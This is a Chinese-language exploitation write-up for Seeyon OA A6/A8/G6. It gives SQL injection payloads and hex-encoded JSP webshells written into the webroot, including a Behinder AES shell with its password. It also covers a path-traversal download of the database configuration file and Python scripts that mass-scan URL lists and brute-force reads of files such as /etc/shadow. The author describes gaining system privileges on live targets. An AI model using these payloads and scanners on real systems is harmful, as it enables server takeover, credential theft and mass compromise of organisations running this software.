SQL注入
A6 test.jsp SQL注入漏洞致远OA A6 test.jsp 存在sql注入漏洞，并可以通过注入写入webshell文件控制服务器
漏洞影响致远OA A6
网络测绘app=“致远OA6”
批量检测POC代码语言：javascript复制# -*- coding: utf-8 -*-'''@Time: 2023-03-19 22:23@Author : whgojp@File: POC.py'''import requestsimport threadingdef check_basedir(url, index, total):target_url = url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)"#查看数据库库安装目录try:response = requests.get(target_url)if response.status_code == 200:with open("result.txt", "a") as f:print(f"[{index}/{total}] {url}")f.write(url + "\n")except:passwith open("urls.txt", "r") as f:urls = f.read().splitlines()total = len(urls)threads = []for i, url in enumerate(urls):t = threading.Thread(target=check_basedir, args=(url, i+1, total))t.start()threads.append(t)for t in threads:t.join()
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在这里插入图片描述当然扫描结果可能不是特别准确，可能因素是网络测绘工具根据语法收集的ip有出入，或者有waf检测到恶意流量跳转到防护页面等，状态码也是200。以后检测漏洞应该使用正则表达式检测是含有页面关键词 通过信息收集，查出web根目录D:/UFseeyon/OA/tomcat/webapps/yyoa，通过 into outfile 写入文件，这里因为 jsp木马存在特殊符号，使用 hex编码 上传允许文件上传的jsp文件 常规上传：
代码语言：javascript复制HEX编码3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C5C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253Epayload 写入文件上传网马
代码语言：javascript复制/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e')%20%20into%20outfile%20'webpath+0.jsp'
在这里插入图片描述显示上图则上传成功，访问 0.jsp 为空白不报错页面不存在就是上传成功
这里我上传成功了，但是访问0.jsp出现报错页面，应该是对方做了相关防护 换个目标，下图显示就是成功上传
上传冰蝎
在这里插入图片描述代码语言：javascript复制t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E连接密码rebeyond 直接冰蝎连接
在这里插入图片描述java webshell直接system权限、无需提权
在这里插入图片描述批量写马脚本就不贴上去了
A6 setextno.jsp SQL注入漏洞网络测绘title=“致远A8+协同管理软件.A6”
payload代码语言：javascript复制/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#批量检测POC代码语言：javascript复制import concurrent.futuresimport requestsdef check_vuln(url, index):target_url = f"{url}/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#"try:response = requests.get(target_url)if "c4ca4238a0b923820dcc509a6f75849b" in response.text:print(f"[+] {url} is vulnerable")with open('result.txt', 'a') as f:f.write(f"{url} is vulnerable\n")else:pass# print(f"[-] {url} is not vulnerable")except requests.exceptions.RequestException as e:pass# print(f"[!] Exception occurred while checking {url}: {e}")print(f"[{index+1}/{len(urls)}] {url} checked")with open('urls.txt', 'r') as f:urls = f.read().splitlines()with concurrent.futures.ThreadPoolExecutor() as executor:futures = []for i, url in enumerate(urls):if not url.startswith('http'):url = 'http://' + urlfutures.append(executor.submit(check_vuln, url, i))# 等待所有任务执行完毕for future in concurrent.futures.as_completed(futures):pass同是sql注入 利用方式同上 写入冰蝎 上传文件上传网马：
代码语言：javascript复制http://xxx.xxx.xxx/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(select unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E') into outfile 'D:/Program Files/UFseeyon/OA/tomcat/webapps/yyoa/test_upload.jsp'),4#其他操作同上 直接连接就行了
任意文件下载(读取)webmail.do 任意文件下载 CNVD-2020-62422影响版本致远OA A6-V5 致远OA A8-V5 致远OA G6
payload致远OA webmail.do文件读取漏洞，由于/seeyon/webmail.do 页面 filePath 参数过滤不严，导致可以读取系统敏感文件。 通过修改filePath参数来下载服务器文件
代码语言：javascript复制http://www.xxx.com/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties在漏洞的OA 系统将会下载 datasourceCtp.properties 配置文件
网络测绘app=“致远互联-OA”
批量检测POC读取同目录下urls.txt 多线程扫描将结果输出到result.txt并且显示扫描进程
代码语言：javascript复制# -*- coding: utf-8 -*-'''@Time: 2023-03-19 18:33@Author : whgojp@File: CNVD-2020-62422.py'''import requestsimport sysimport threadingfrom requests.packages.urllib3.exceptions import InsecureRequestWarningfrom concurrent.futures import ThreadPoolExecutor, as_completeddef POC_1(target_url):if 'https' not in target_url:target_url = 'http://'+target_urlvuln_url = target_url + "/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath=../conf/datasourceCtp.properties"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:requests.packages.urllib3.disable_warnings(InsecureRequestWarning)response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if "workflow" in response.text:print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))result.append(target_url + " 存在漏洞")else:print("\033[31m[x] 文件请求失败 \033[0m")except Exception as e:print("\033[31m[x] 请求失败 \033[0m", e)def main():global resultresult = []with open('urls.txt', 'r') as f:urls = f.readlines()urls = [url.strip() for url in urls]total_num = len(urls)count = 0with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(POC_1, url) for url in urls]for future in as_completed(futures):count += 1print("[+] Progress: {}/{}".format(count, total_num))with open('result.txt', 'w') as f:for r in result:f.write(r + '\n')print("[+] 扫描完成！")if __name__ == '__main__':main()
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在这里插入图片描述思考：可以读取那些文件？来进一步利用 尝试读取etc/passwd etc/shadow等敏感文件 linux_file.txt为收集的linu下敏感文件绝对路径的字典
代码语言：javascript复制# -*- coding: utf-8 -*-'''@Time: 2023-03-19 21:20@Author : whgojp@File: brute_filepath.py'''import requestsimport reurl_prefix = "http://xx.xx.xx:port/seeyon/webmail.do?method=doDownloadAtt&filename=text.txt&filePath=../../../../.."with open('linux_file.txt', 'r') as f:for line in f:url = url_prefix + line.strip() # strip()用于移除行末的换行符response = requests.get(url)if response.status_code == 200:pattern = re.compile(r'[a-zA-Z]')if pattern.search(response.text):print(url)#print(response.test)思路：收集一些关于目标网站第三方程序绝对路径，比如说，现在我们知道该OA的版本以及CKEditor编辑器，那么就可以收集关于这些程序的敏感文件的绝对路径
在这里插入图片描述效果图：
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